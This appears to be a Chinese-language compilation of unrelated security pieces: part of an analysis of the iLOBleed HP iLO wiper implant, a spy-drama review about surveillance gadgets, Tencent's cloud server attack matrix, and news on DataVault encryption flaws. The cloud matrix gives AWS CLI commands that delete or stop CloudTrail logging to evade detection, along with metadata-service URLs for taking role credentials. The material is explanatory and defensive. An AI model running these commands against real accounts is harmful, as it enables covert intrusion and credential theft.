“newELF”模塊內部這個模塊是一個完整的ELF,添加到Boottable的末尾,增加一個單元的進程數。此ELF 與此固件中的其他ELF 一樣,由幾個基本組件組成。第一部分是NewELF.ELF.Initial.text,與其他ELF 不同,它不是空的,並且包含代碼。仔細觀察會發現,該部分與ConAppCLI.ELF.text 非常相似,後者是iLO 硬件的主要模塊之一。表5 顯示了這兩個模塊之間的一般比較,顯示了它們的差異。這些相似之處表明Implant.ARM.iLOBleed.a 惡意軟件的基本結構是基於ConAppCLi 模塊的功能。

ConAppCLI.ELF.text 和NewELF.ELF.Initial.text 之間的比較

16.png

惡意軟件的另一個基本部分是NewELF.ELF.text,下圖顯示了該惡意軟件的主要功能。該函數的主要任務之一是設置一個確定惡意軟件操作主要參數的數據結構,其中一部分已如上圖所示。在該函數的開頭,schedule.bin文件的地址為複製到一個變量,指向這個地址的指針複製到數據結構的0x0c地址。

17.png

惡意軟件的主要函數

接下來,在另一個名為initOperationConfigFiles 的函數中,檢查惡意軟件所需文件的狀態。在這個函數中,首先創建lifesignal.bin文件,然後滿足以下條件:

如果schedule.bin 文件存在並且具有有效的結構,則其內容將被複製到數據結構的地址0 到0x07,並且值0x3 將寫入lifesignal.bin 文件。

如果相關地址中不存在schedule.bin 文件,則會創建並填充初始值。之後,數據結構就被完全填滿了。

如果schedule.bin 文件的結構無效,則會在lifesignal.bin 文件中寫入0x9。

18.png

惡意軟件運行參數的數據結構

如前所述,schedule.bin 文件由兩個4 字節的數字組成。在操作開始時,在initOperationConfigFiles 函數中,計數器編號設置為maxOperationCount(地址0x24 數據結構),日期編號設置為所需的時間和命令執行的日期。在惡意軟件的一個樣本中,重複操作的最大值設置為0x2,而在另一個樣本中設置為0x3e8(相當於1000 次)。

在檢查了執行擦除操作的適當條件後,該操作將在startPeriodicOperation 函數中開始。此函數在第一步中創建並填充具有最大操作長度的數據結構數組。這些數據結構中的每一個都使用不同的執行時間值進行評估。該設置使得惡意軟件在初始等待時間(例如36 小時)的基礎上增加了各種操作週期(例如12 小時)的倍數,並將該值記錄在每個數據結構的0x1C 地址處。在這種情況下,操作在從schedule.bin 文件中記錄的時間開始的等待時間(36 小時)之後開始,並在每個週期重複。最後調用startWipeOperation 函數,執行磁盤擦除操作。

19.png

startPeriodicOperation 的函數體

startWipeOperation 函數在循環中執行擦除操作,如下圖所示。在此循環開始時,名為GetAndValidateOperationParameters 的函數檢查操作參數的準確性併計算剩餘的操作數。實際上,在名為SuccessfulOperationCount 的變量中執行的操作數被提取並檢查,以便獲得的數不超過計數器的最大值。

20.png

startWipeOperation 的函數體

下一個函數是WaitForNextOperationTarget 函數,其內容如下圖所示。該函數的職責是在主循環中創建中斷,直到到達下一個操作時間。在指定的時間,此函數退出其循環,操作的主循環繼續操作。

21.png

WaitForNextOperationTarget 的函數體

在主循環的下一部分中,執行擦除磁盤操作並完全擦除服務器的硬盤。擦除操作完成後,schedule.bin 文件由DecrementOperationCount 函數更新,並減少一個計數器。 DecrementOperationCount 函數的主體如下圖所示。

22.png

DecrementOperationCount 的函數體

修改後的模塊分析該惡意軟件包含一些iLO 模塊的修改版本,其中一些模塊被修改以防止原始函數或以其他方式更改它。惡意軟件中有6 個修改後的模塊,如下所示:

惡意軟件修改模塊

23.png

總結固件安全近年來已經成為IT安全中的一個重要問題,但在實際應用中還沒有得到足夠的重視。由於HP iLO 管理工具具有的功能和高級別的訪問權限,它需要特殊的保護方法。不幸的是,由於缺乏工具和信息以及iLO 技術的專有性質,許多安全研究人員無法研究這些系統。更糟糕的是,儘管安全研究人員過去發表的研究已經證明了惡意軟件嵌入軟件的可能性,但仍然沒有公開可用的解決方案來檢測感染並在感染髮生時將其阻止。

另一個重點是,有一些方法可以通過網絡和主機操作系統訪問和感染iLO。這意味著即使iLO 網線完全斷開,仍然存在感染惡意軟件的可能。有趣的是,如果不需要iLO,則無法完全關閉或禁用iLO。

這些問題表明需要採取預防性安全措施來提高固件的安全性,例如更新到製造商提供的最新版本、更改管理員密碼以及將iLO 網絡與操作網絡隔離,最後,定期監測固件的安全參數和潛在感染狀態。

保護建議請勿將iLO 網絡接口連接到操作網絡並臨時搭建一個完全獨立的網絡;

定期將iLO 固件版本更新到HP 的最新官方版本;

在HP服務器上執行iLO安全設置,並禁用G10 服務器的降級;

使用縱深防禦策略降低風險並在到達iLO 之前檢測潛在的攻擊;

定期使用iLO Scanner 工具檢測當前版本的iLO 服務器固件中的潛在漏洞、惡意軟件和後門

篇首語:過去的一個月非常忙碌,RC2實驗室剛剛結束了第一期為期15天的『LEVEL-4 TSCM反竊密專家課程』,確實累得夠嗆。

LEVEL-4合集.jpg

元旦三天假期,終於可以安心刷完這部國產反諜劇《对手》 ,想著趕緊寫個劇評,分享給大家,結果又拖到了今天.

对手第09集[00_17_20][20220107-145033].png

注:一直以來,感謝大家的支持,2021很不容易,2022我們會更加努力。

01 新劇介紹看膩了什麼民國時期的諜戰劇,基本上楊叔一看到官方介紹上有什麼小鮮肉,或者人物個個都是光鮮帥氣,就覺得可以不用浪費時間了。

.咳咳,直到這部劇的出現:《对 手》

536ec1ddc7bf4ae3ba5f40d337dcbb14.jpeg

先引用下網上的官方介紹:

電視劇《对手》 是愛奇藝出品,海東明日影視聯合出品,由盧倫常執導,郭京飛、譚卓、顏丙燕、寧理領銜主演,孫佳雨、王天辰、劉帥良主演,何藍逗聯合主演,黃堯、張月特別主演的當代都市諜戰劇,講述了和平年代的“諜戰”故事。

《对手》 講述了國家安全警察在日常生活中尋找間諜線索的故事,他們憑藉著精湛的偵查能力,為了國家和人民的安居樂業,克服了一切困難,最後贏得了勝利。

对手第09集[00_10_22][20220104-010235].png

02 關於技術竊密的一些片段還是聊聊劇中的技術吧~

之前楊叔在分享電影《扫黑 • 决战》 時說過,國產電影電視劇中很少出現跟踪、技術竊密的場景,有朋友留言說是國情不允許啊之類。

其實按照國內這些年引進的這麼多相關內容的歐美港台電影來看,比如《窃听风云》 系列,《碟中谍》 等,說國情不允許肯定是誇張了。

楊叔:“相信最主要的原因還是導演、編劇的意識理念缺乏所致。”

所以,在《对手》 這部劇裡,這方面的情節展現就顯得特別亮眼。

場景1 部署竊聽器材郭京飛飾演的潛伏間諜“桃園”,在某總工辦公室安裝無線發射功能的竊聽器。

对手第09集[00_39_04][20220106-235619].png

对手第06集[00_32_30][20220106-234125].png

对手第09集[00_40_12][20220106-235843].png

对手第09集[00_40_33][20220106-235400].png

這樣,境外間諜組長林彧,就能從遠程竊聽辦公室裡的內容。這個設定屬於典型的技術竊密手段。

場景2 無線竊聽器為了監聽及控制,境外潛伏間諜在女孩包里安裝了無線竊聽器,在被國安丁曉禾發現後,迅速開展了緊急線人保護流程處理。

对手第32集[00_26_43][20220107-004835].png

对手第32集[00_27_48][20220107-004957].png

对手第32集[00_35_06][20220107-005241].png

劇中發現竊聽器材後的處理流程非常緊湊、專業。

場景3 部署偷拍器材郭京飛在獲得女兒男友家的地址後,為了方便後續監視,在對方屋頂射燈裡,安裝了一個針孔偷拍器材(桃園同學可真是“全才”啊圖片)

对手第17集[00_34_37][20220107-003003].png

对手第17集[00_34_42][20220107-003015].png

对手第17集[00_34_50][20220107-003031].png

佈置在射燈光源側方上的這種“光源盲區”部署手法,有點技術含量,很符合角色定義。

場景4 使用EMP開智能門鎖郭京飛在進入某個高檔小區的一戶時,手持EMP設備破壞智能門鎖,從而實習物理滲透。

对手第11集[00_18_50][20220107-000537].png

場景5 保險櫃的技術開鎖郭京飛使用隨身的器材,對個人保險櫃開展技術開鎖。

对手第11集[00_20_32][20220107-000829].png

对手第11集[00_20_51][20220107-000616].png

場景6 紫外線勘查痕跡郭京飛使用紫外線燈,查看對方在電梯裡按下的樓層按鍵。

对手第11集[00_18_26][20220107-000936].png

再比如社會工程學、莫爾斯電碼、徒步跟踪、暗語等等,還有很多場景都設計得很用心,哈哈,楊叔就不劇透了。

04 可以再加強的細節楊叔覺得整部劇中,有些細節還是可以再加強一下的,比如:

細節1 手持檢測設備郭京飛懷疑自家裡被裝了器材,於是開始對臥室進行排查。

令人無語的是,作為一部現代反諜劇,一位“專業間諜”,居然使用淘寶上購買的反偷拍設備?

而且這還並非是最新款,而是已經淘汰的10多年前華強北銷售的CC308系列。

对手第14集[00_01_59][20220107-145520].png

对手第14集[00_02_07][20220107-145553].png

可能有人會說,從淘寶上買設備是一種掩護,或者由於郭京飛沒錢,沒辦法購買昂貴的檢測設備(目前這款CC308也就是幾十元),更或者說這就是十多年潛伏時購置的,一直使用到現在。

聽起來似乎有那麼點道理,但是:

一,對比郭京飛在人家總工房間安裝無線電竊聽器這個場景,就知道他本身對竊聽器材功能肯定是熟悉的。

在這種設定前提下,對室內是否存在無線發射器材,使用一些具備無線偵測能力的專業檢測設備,相信更加符合人物設定。

下圖是RC2的Level-2 商業安全隱私保護課程現場,學員們使用專業手持檢測設備,開展室內物理安全檢測。

微信截图_20220109121217.png

二,作為民用的CC308產品質量很差,特別是電池無法拆卸這一點,基本上連續使用1個多月後就會出故障。這個糟糕的設計,現在還有很多國內設備在模仿。

楊叔2008年在華強北也買過這款,1個月後內置電池就鼓包廢掉了,我想導演一定不知道這一點圖片。

楊叔:這確實是一個小敗筆,還好瑕不掩瑜。

640.gif

細節2 監控軟件耳機劇中對無線竊聽的展示,讓人眼前一亮。

不過令人哭笑不得的是,劇中無論是國安的監控人員,還是境外潛伏間諜,居然用的都是同一個音頻監控軟件界面。

对手第13集[00_30_03][20220107-001758].png

对手第32集[00_27_03][20220107-004757].png

楊叔覺得:這肯定是技術/道具組偷懶了。

這款名為”Adobe Audition CC 2018”的軟件,確實是強大的音頻工作站,可以用於創建、混合、編輯和復原音頻內容的多軌、波形和光譜顯示功能。

難道說行業裡這一款是爆款?雙方都在用?

更幽默的是,劇中雙方居然都用同一款甚至同一個型號的監聽耳機,我就D#@*?

对手第32集[00_27_48][20220107-004957].png

对手第13集[00_42_57][20220107-001954].png

对手第34集[00_19_59][20220107-005635].png

iSK給了多少廣告費?

哼,我大森海塞爾表示不服。

640 (2).gif

05 劇中的伏筆全劇中多次出現了國內“天網工程”和“情報大數據”方面的內容,盡顯技術監控能力。

对手第02集[00_38_50][20220106-233321].png

对手第02集[00_38_55][20220106-233334].png

不過導演在一邊肯定這些高新技術使用的同時,也指出了依然可能存在的死角。

比如劇中的國安警察黃海,在一個缺少公共治安攝像頭的背街小巷中,在手機信號被屏蔽後,就遭遇了殺手的埋伏,而自己的隊友由於沒辦法精准定位手機,險些就沒救上。

对手第35集[00_10_05][20220107-005937].png

对手第35集[00_11_08][20220107-010000].png

咳咳,劇情和結局就不劇透了,感興趣的朋友們趕緊去看。

2022,春節將至

希望大家都平平安安~

2022年1月,受國內多地疫情管控影響,年前線下公開隱私保護課程先行暫停。

為確保大家都能平安順利地參與課程,RC2將在春節後重新啟動,給大家造成不便,敬請諒解。

前言雲服務器(Cloud Virtual Machine,CVM)是一種較為常見的雲服務,為用戶提供安全可靠以及高效的計算服務。用戶可以靈活的擴展以及縮減計算資源,以適應變化的業務需求。使用雲服務器可以極大降低用戶的軟硬件採購成本以及IT 運維成本。

由於雲服務器中承載著用戶的業務以及數據,其安全性尤為重要而云服務器的風險往往來自於兩方面:雲廠商平台側的風險與用戶在使用雲服務器時的風險。與用戶側風險相比,平台側的漏洞往往帶來更廣泛的影響,例如於2018 披露的AWS Launching EC2s did not require specifying AMI owner漏洞(CVE-2018-15869)、2020年披露的AWS XSS on EC2 web console漏洞;而與平台側漏洞相比,用戶側漏洞更容易產生,並且可以對用戶資產代理嚴重影響,例如2020年美高梅(MGM.US)大規模客戶數據洩露為例,美高梅酒店由於錯誤配置,導致雲服務器可以在未經授權情況下訪問,導致1.42億有關客人的信息暗網上出售,這些數據包含客人的家庭住址、聯繫信息、出生日期、駕照號碼和護照號碼。

雲服務器的安全性至關重要,只有深入了解針對雲服務器的風險以及攻擊手段,才能夠有效的幫助雲廠商以及用戶在面對這些威脅時有效的識別並採取對應的防護手段,從而保護雲上業務以及數據的安全。

雲服務器攻防矩陣概覽騰訊安全雲鼎實驗室以公開的雲廠商歷史漏洞數據、安全事件,以及騰訊云自身的安全數據為基礎,抽像出針對雲的攻防矩陣,並於2021年9月26日西部雲安全峰會上發布的《云安全攻防矩阵v1.0》 中首次亮相。《云安全攻防矩阵v1.0》 由雲服務器、容器以及對象存儲服務攻防矩陣共同組成。

本文將詳細介紹《云安全攻防矩阵》 中關於雲服務器攻防矩陣部分內容,以幫助開發、運維以及安全人員了解雲服務器的安全風險。

计划.png

雲服務器攻防矩陣

雲服務器攻防矩陣詳解初始訪問云平台主API密鑰洩露

雲平台主API密鑰重要性等同於用戶的登錄密碼,其代表了賬號所有者的身份以及對應的權限。

API 密鑰由SecretId和SecretKey組成,用戶可以通過API密鑰來訪問云平台API進而管理賬號下的資源。在一些攻擊場景中,由於開發者不安全的開發以及配置導致憑據洩露;而在另一些針對設備的入侵場景中,攻擊者將入侵設備並獲取設備中存儲的雲平台憑據,例如2020年TeamTNT組織針對Docker的攻擊事件中,惡意程序將會掃描受感染系統的~/.aws/credentials和~/.aws/config文件並竊取,導致AWS 憑證洩露。

在攻擊者可以通過竊取到的雲平台主API 密鑰後,冒用賬號所有者的身份入侵雲平台,非法操作雲服務器,篡改其中業務代碼、添加後門程序或竊取其中數據。

雲平台賬號非法登錄

雲平台提供多種身份驗證機制以供用戶登錄,包括手機驗證、賬號密碼驗證、郵箱驗證等。在雲平台登錄環節,攻擊者通過多種手法進行攻擊以獲取用戶的登錄權限,並冒用用戶身份非法登錄,具體的技術包括使用弱口令、使用用戶洩露賬號數據、騙取用戶登錄手機驗證碼、盜取用戶登錄賬號等。攻擊者使用獲取到的賬號信息進行非法登錄雲平台後,即可操作雲服務器。

實例登錄信息洩露

在購買並創建雲服務器後,用戶可以自行配置雲服務器的登錄用戶名以及登錄密碼,Linux雲服務器往往支持用戶通過ssh的方式使用配置的用戶名密碼或SSH密鑰的方式遠程登錄雲服務器;在Windows服務器中,用戶可以通過RDP文件或是遠程桌面的形式登錄雲服務器。當上述這些雲服務器實例登錄信息被竊取後,攻擊者可以通過這些信息非法登錄雲服務器實例。

賬戶劫持

當云廠商提供的控制台存在漏洞時,用戶的賬戶存在一定的劫持風險。以AWS 控制台更改歷史記錄功能模塊處XSS漏洞以及AWS 控制台實例tag處XSS為例,攻擊者可以通過這些XSS漏洞完成賬戶劫持攻擊,從而獲取雲服務器實例的控制權。

網絡釣魚

為了獲取雲服務器的訪問權限,攻擊者可採用網絡釣魚技術手段完成此階段攻擊。攻擊者通過向雲服務器管理人員以及運維人員發送特定主題的釣魚郵件、或是偽裝身份與管理人員以及運維人員通過聊天工具進行交流,通過竊取憑據、登錄信息或是安插後門的形式獲取雲服務器控制權。

應用程序漏洞

當云服務器實例中運行的應用程序存在漏洞、或是由於配置不當導致這些應用可以被非法訪問時,攻擊者可以通過掃描探測的方式發現並利用這些應用程序漏洞進行攻擊,從而獲取雲服務器實例的訪問權限。

使用惡意或存在漏洞的自定義鏡像

雲平台為用戶提供公共鏡像、自定義鏡像等鏡像服務以供用戶快速創建和此鏡像相同配置的雲服務器實例。這裡的鏡像雖然與Docker鏡像不同,其底層使用的是雲硬盤快照服務,但云服務器鏡像與Docker鏡像一樣存在著類似的風險,即惡意鏡像以及存在漏洞的鏡像風險。當用戶使用其他用戶共享的鏡像創建雲服務器實例時,雲平台無法保證這個共享鏡像的完整性或安全性。攻擊者可以通過這個方式,製作惡意自定義鏡像並通過共享的方式進行供應鏈攻擊。

實例元數據服務未授權訪問

雲服務器實例元數據服務是一種提供查詢運行中的實例內元數據的服務,雲服務器實例元數據服務運行在鏈路本地地址上,當實例向元數據服務發起請求時,該請求不會通過網絡傳輸,但是如果雲服務器上的應用存在RCE、SSRF等漏洞時,攻擊者可以通過漏洞訪問實例元數據服務。通過雲服務器實例元數據服務查詢,攻擊者除了可以獲取雲服務器實例的一些屬性之外,更重要的是可以獲取與實例綁定的擁有高權限的角色,並通過此角色獲取雲服務器的控制權。

執行通過控制台登錄實例執行

攻擊者在初始訪問階段獲取到平台登錄憑據後,可以利用平台憑據登錄雲平台,並直接使用雲平台提供的Web控制台登錄雲服務器實例,在成功登錄實例後,攻擊者可以在實例內部執行命令。

寫入userdata執行

Userdata是雲服務器為用戶提供的一項自定義數據服務,在創建雲服務器時,用戶可以通過指定自定義數據,進行配置實例。當云服務器啟動時,自定義數據將以文本的方式傳遞到雲服務器中,並執行該文本。

通過這一功能,攻擊者可以修改實例userdata並向其中寫入待執行的命令,這些代碼將會在實例每次啟動時自動執行。攻擊者可以通過重啟雲服務器實例的方式,加載userdata中命令並執行。

利用後門文件執行

攻擊者在雲服務器實例中部署後門文件的方式有多種,例如通過Web應用漏洞向雲服務器實例上傳後門文件、或是通過供應鏈攻擊的方式誘使目標使用存在後門的惡意鏡像,當後門文件部署成功後,攻擊者可以利用這些後門文件在雲服務器實例上執行命令

利用應用程序執行

雲服務器實例上部署的應用程序,可能會直接或者間接的提供命令執行功能,例如一些服務器管理類應用程序將直接提供在雲服務器上執行命令的功能,而另一些應用,例如數據庫服務,可以利用一些組件進行命令執行。當這些程序存在配置錯誤時,攻擊者可以直接利用這些應用程序在雲服務器實例上執行命令

利用SSH服務進入實例執行

雲服務器Linux實例上往往運行著SSH服務,當攻擊者在初始訪問階段成功獲取到有效的登錄憑據後,即可通過SSH登錄雲服務器實例並進行命令執行。

利用遠程代碼執行漏洞執行

當云服務器上部署的應用程序存在遠程代碼執行漏洞時,攻擊者將利用此脆弱的應用程序並通過編寫相應的EXP來進行遠程命令執行。

使用雲API執行

攻擊者利用初始訪問階段獲取到的擁有操作雲服務器權限的憑據,通過向雲平台API接口發送HTTP/HTTPS 請求,以實現與雲服務器實例的交互操作。

雲服務器實例提供了豐富的API接口以共用戶使用,攻擊者可以通過使用這些API接口並構造相應的參數,以此執行對應的操作指令,例如重啟實例、修改實例賬號密碼、刪除實例等。

使用雲廠商工具執行

除了使用雲API接口完成雲服務器命令執行之外,還可以選擇使用雲平台提供的可視化或命令行工具進行操作。在配置完成雲服務器實例信息以及憑據後,攻擊者即可使用這類工具進行服務器實例的管理以及執行相應命令。

持久化利用遠程控制軟件

為了方便管理雲服務器實例,管理員有可能在實例中安裝有遠程控制軟件,這種情況在windows實例中居多。攻擊者可以在服務器中搜索此類遠程控制軟件,並獲取連接憑據,進行持久化。攻擊者也可以在實例中安裝遠控軟件以達成持久化的目的。

在userdata中添加後門

正如“執行”階段所介紹,攻擊者可以利用雲服務器提供的userdata服務進行持久化操作,攻擊者可以通過調用雲API接口的方式在userdata中寫入後門代碼,每當服務器重啟時,後門代碼將會自動執行,從而實現了隱蔽的持久化操作目的

在雲函數中添加後門

雲函數是是一種計算服務,可以為企業和開發者們提供的無服務器執行環境。用戶只需使用平台支持的語言編寫核心代碼並設置代碼運行的條件,即可彈性、安全地運行代碼,由平台完成服務器和操作系統維護、容量配置和自動擴展、代碼監控和日誌記錄等工作。

以AWS Lambda為例,用戶可以創建一個IAM角色並賦予其相應的權限並在創建函數時提供該角色作為此函數的執行角色,當函數被調用時,Lambda 代入該角色,如果函數綁定的角色權限過高,攻擊者可以在其中插入後門代碼,例如在調用該函數後創建一個新用戶,以此進行持久化操作。

在自定義鏡像庫中導入後門鏡像

在攻擊者獲取雲服務器控制台權限後,可以對用戶自定義鏡像倉庫中的鏡像進行導入、刪除等操作,攻擊者可以將其構造的存在後門的鏡像上傳至用戶鏡像倉庫。此外,為了提高攻擊成功率,攻擊者還可以使用後門鏡像替換用戶鏡像倉庫中原有鏡像。當用戶使用後門鏡像進行實例創建時,即可觸發惡意代碼以完成持久化操作。

給現有的用戶分配額外的API密鑰

API密鑰是構建騰訊雲API 請求的重要憑證,雲平台運行用戶創建多個API密鑰,通過此功能,擁有API密鑰管理權限的攻擊者可以為賬戶下所有用戶分配一個額外的API密鑰,並使用這些API密鑰進行攻擊。

建立輔助賬號登錄

擁有訪問管理權限的攻擊者可以通過建立子賬號的形式進行持久化操作,攻擊者可以將建立的子賬號關聯等同於主賬號的策略,並通過子賬號進行後續的攻擊行為。

權限提升通過訪問管理提權

錯誤的授予雲平台子賬號過高的權限,也可能會導致子賬號通過訪問管理功能進行提權操作。由於錯誤的授予雲平台子賬號過高的操作訪問管理功能的權限,子賬號用戶可以通過訪問管理功能自行授權策略。通過此攻擊手段,攻擊者可以通過在訪問管理中修改其云服務器的權限策略,以達到權限提升。

利用應用程序提權

攻擊者通過雲服務器中運行的Docker容器中應用漏洞,成功獲取Docker容器的權限,攻擊者可以通過Docker漏洞或錯誤配置進行容器逃逸,並獲取雲主機的控制權,從而實現權限提升。當然,攻擊者也可以通過其他應用程序進行提權。

創建高權限角色

當攻擊者擁有訪問管理中新建角色的權限時,可以通過調用雲API接口的方式,建立一個新的角色,並為這個角色賦予高權限的策略,攻擊者可以通過利用此角色進行後續的攻擊行為。

利用操作系統漏洞進行提權

與傳統主機安全問題相似,雲服務器實例也同樣可能存在操作系統漏洞,攻擊者可以利用操作系統漏洞,進行權限提升。

防禦繞過關閉安全監控服務

雲平台為了保護用戶雲主機的安全,往往會提供一些安全監控產品用以監控和驗證活動事件的真實性,並且以此辨識安全事件,檢測未經授權的訪問。攻擊者可以通過在攻擊流程中關閉安全監控產品以進行防禦繞過,以AWS CloudTrail為例,攻擊者可以通過如下指令指令關閉CloudTrail監控:

aws cloudtrail delete-trail --name [my-trail]

但是進行此操作會在CloudTrail控制台或GuardDuty中觸發告警,也可以通過配置禁用多區域日誌記錄功能,並在監控區域外進行攻擊,以AWS CloudTrail為例,攻擊者可以通過如下指令關閉多區域日誌記錄功能:

aws cloudtrail update-trail --name [my-trail] --no-is-multi-region-trail --no-include-global-service-events

監控區域外進行攻擊

雲平台提供的安全監控服務,默認情況下是進行全區域安全監控,但是在一些場景中可能出現一些監控盲區,例如用戶在使用安全監控服務時,關閉了全區域監控,僅開啟部分區域的監控,以AWS CloudTrail為例,可以使用如下指令來查看CloudTrail的監控範圍,並尋找監控外的雲主機進行攻擊以防止觸發安全告警:

aws cloudtrail describe-trails

禁用日誌記錄

與直接關閉安全監控服務相比,攻擊者可以通過禁用平台監控告警日誌的方式進行防禦繞過,並在攻擊流程結束後再次開啟告警日誌。以AWS CloudTrail為例,攻擊者可以通過使用如下指令關閉CloudTrail日誌

aws cloudtrail stop-logging --name [my-trail]

並在攻擊完成後,使用如下指令再次開啟日誌記錄功能:

aws cloudtrail start-logging --name [my-trail]

日誌清理

攻擊者在完成攻擊流程後,可以刪除監控服務日誌以及雲主機上的日誌,以防攻擊行為暴露。

通過代理訪問

大多數雲服務器提供操作日誌記錄功能,將記錄時間、操作內容等。攻擊者可以利用代理服務器來隱藏他們真實IP。

竊取憑證獲取服務器實例登錄憑據

當攻擊者獲取雲服務器實例的控制權後,可以通過一些方式獲取服務器上用戶的登錄憑據,例如使用mimikatz抓取Windows憑證,並將獲取到的這些登錄憑據應用到後續的攻擊流程中。

元數據服務獲取角色臨時憑據

雲服務器為用戶提供了一種每名實例元數據的服務,元數據即表示實例的相關數據,可以用來配置或管理正在運行的實例。用戶可以通過元數據服務在運行中的實例內查看實例的元數據。以AWS舉例,可以在實例內部訪問如下地址來查看所有類別的實例元數據:

http://169.254.169.254/latest/meta-data/

在雲服務器使用過程中,戶可以將角色關聯到雲服務器實例。使用元數據服務可以查詢到此角色名稱以及角色的臨時憑據,以AWS為例,可以通過如下請求獲取角色名稱:

http://169.254.169.254/latest/meta-data/iam/info

在獲取到角色名稱後,可以通過以下鏈接取角色的臨時憑證:

http://169.254.169.254/latest/metadata/iam/security-credentials/rolename

獲取配置文件中的應用憑證

雲服務器應用中的配置文件中可能存儲著一些敏感信息,例如一些應用的訪問憑據或是登錄密碼,攻擊者可以在雲服務器中搜尋這些配置文件,並將其中的敏感數據進行竊取並在後續的攻擊中加以利用。

雲服務憑證洩露

在雲服務器實例中運行應用程序中,往往使用環境變量或是硬編碼的方式明文存儲雲服務憑據,應用程序使用這些憑據調用其他雲上服務的憑據,攻擊者可以通過讀取環境變量中的參數,或是分析應用程序代碼的方式獲取這些憑據,以此獲取其他雲服務的憑據,甚至是雲平台主API密鑰。

用戶賬號數據洩露

在一些場景中,開發者使用對象存儲服務存儲其業務中的用戶數據,例如用戶的姓名、身份證號碼、電話等敏感數據,當然也會包含用戶賬號密碼等憑據信息。

攻擊者通過對存儲桶中用戶數據的提取與分析以竊取這些用戶的憑據數據,並通過獲取的信息進行後續的攻擊。

探測雲資產探測

攻擊者在探測階段,會尋找環境中一切可用的資源,例如實例、存儲以及數據庫服務等。

通常攻擊者可以使用雲平台提供的API或工具來完成雲資產探測,通過發出命令等方法來蒐集基礎設施的信息。以AWS API接口為例,可以使用DescribeInstances接口來查詢賬戶中一個或多個實例的信息,或是使用ListBuckets API接口來查詢目標存儲桶列表信息。

網絡掃描

與傳統的內網掃描類似,攻擊者在此階段也會嘗試發現在其他雲主機上運行的服務,攻擊者使用系統自帶的或上傳至雲服務實例的工具進行端口掃描和漏洞掃描以發現那些容易受到遠程攻擊的服務。此外,如果目標雲環境與非雲環境連同,攻擊者也可能能夠識別在非雲系統上運行的服務。

橫向移動使用實例賬號爆破

當攻擊者在竊取憑據階段,在實例中成功獲取了有效的賬號信息後,攻擊者可以利用這些賬號數據製作賬號字典並嘗試爆破目標的雲資產或非雲資產,並橫向移動到這些資產中。

通過控制台權限橫向移動

當攻擊者獲取了目標控制台權限後,可以通過控制台提供的功能,橫向移動到目標用戶的其他雲資產中。

竊取角色臨時憑據橫向訪問

攻擊者通過實例元數據服務,可以獲取與實例綁定的角色的臨時憑據,攻擊者可以利用獲取的角色臨時憑據,橫向移動到角色權限範圍內的雲資產中。

竊取憑據訪問云服務

通過雲服務器中Web應用程序源代碼的分析,攻擊者可能會從Web應用程序的配置文件中獲取的應用開發者用來調用其他雲上服務的憑據。攻擊者利用獲取到的雲憑據,橫向移動到用戶的其他雲上業務中。如果攻擊者獲取到的憑據為雲平台主API密鑰,攻擊者可以通過此密鑰橫向移動到用戶的其他雲資產中。

竊取用戶賬號攻擊其他應用

攻擊者通過從雲服務器中竊取的用戶賬號數據,用以橫向移動至用戶的其他應用中,包括用戶的非雲上應用。

影響竊取項目源碼

攻擊者通過下載雲服務器中的應用程序源碼,造成源碼洩露事件發生。通過對源碼的分析,攻擊者可以獲取更多的可利用信息。

竊取用戶數據

當用雲服務器中以文件、數據庫或者其他形式保存用戶數據時,攻擊者通過攻擊雲服務器以竊取用戶敏感數據,這些信息可能包含用戶的姓名、證件號碼、電話、賬號信息等,當用戶敏感信息洩露事件發生後,將會造成嚴重的影響。

破壞文件

攻擊者在獲取雲服務器控制權後,可能試圖對雲服務器中的文件進行刪除或者覆蓋,以達到破壞服務的目的。

c

除了刪除以及覆蓋雲服務器文件之外,攻擊者可以對雲服務器中文件進行篡改,通過修改應用程序代碼、文本內容、圖片等對像以達到攻擊效果。在一些場景中,用戶使用雲服務器部署靜態網站,攻擊者通過篡改其中頁面內的文本內容以及圖片,對目標站點造成不良的影響。

植入後門

攻擊者在雲服務器應用中插入惡意代碼,或者在項目目錄中插入後門文件,攻擊者可以利用這些後門發起進一步的攻擊。

加密勒索

在獲取雲服務器控制權後,攻擊者可能會對雲服務器上的文件進行加密處理,從而勒索用戶,向用戶索要贖金。

寫在後面雲服務器作為一個基礎而又重要的雲產品,面臨著眾多的安全挑戰。深入了解雲服務器存在的風險點以及對應的攻擊手段,可以有效的保障用戶在使用雲服務器時的安全性。

在騰訊安全雲鼎實驗室推出《云安全攻防矩阵》 中,用戶可以根據矩陣中所展示的內容,了解當前環境中所面臨的威脅,並以此制定監測手段用以發現風險,詳見騰訊安全雲鼎實驗室攻防組官網:

https://cloudsec.tencent.com/#/home

除《云安全攻防矩阵v1.0》 中已包含的產品外,騰訊安全雲鼎實驗室制定了雲安全攻防矩陣未來發布計劃,以雲產品以及業務為切入點,陸續發布雲數據庫、人工智能、雲物聯網等雲安全攻防矩陣。

云服务器攻防矩阵.png

研究人員發現DataVault軟件中使用的AES-1024可被打破。

研究人員Sylvain Pelissier發現ENC Security開發和被多個硬件設備廠商廣泛使用的DataVault加密軟件中存在安全漏洞,攻擊者利用該漏洞可以獲取用戶的密碼。

DataVault是由ENCSecurity公司開發的一款保護用戶數據的高級加密軟件,據稱可以通過1024位AES加密來為多個系統提供軍事級的數據保護和安全特徵。包括西數、索尼、Lexar雷克沙在內的廠商的USB設備和其他存儲產品中都使用DataVault軟件。近日,安全研究人員Pelissier 逆向DataVault軟件後發現了2個安全漏洞,漏洞CVE編號為CVE-2021-36750 和CVE-2021-36751。

DataVault默認是獨立運行的。研究人員通過逆向發現使用的秘鑰派生函數是PBKDF2,使用了1000輪的MD5來派生加密密鑰。派生密鑰所用的salt是常數,並且是硬編碼在所有的解決方案和產品中的。因此,攻擊者可以通過時間/內存攻擊的方式來猜測用戶設置的密碼,比如彩虹表,還可以用彩虹表來提取使用該軟件的所有用戶的密碼。

使用的數據加密算法也是易被攻擊的,運行攻擊者在不被檢測到的情況下對文件進行惡意修改。數據加密算法中沒有設置數據完整性機制。該軟件的完全版本的設置中允許用戶選擇4種不同的安全等級,AES-128、AES-256、AES-512、AES-1024。研究人員通過逆向發現加密方法是基於使用單個密鑰的AES-128來構造的。加密的多輪會用密鑰派生函數派生的秘鑰作為初始向量來鏈接起來。研究人員經過分析發現這幾種模式最終只提供了128位的安全等級。

相關漏洞已經在DataVault 7.2版本中修復。

更多技術細節參見Pelissier在Remote Chaos Experience (rC3)在線會議上的演講:https://rc3.world/2021/public_fahrplan#3c5f6844-cdc8-5a1a-a342-d93b43546a82

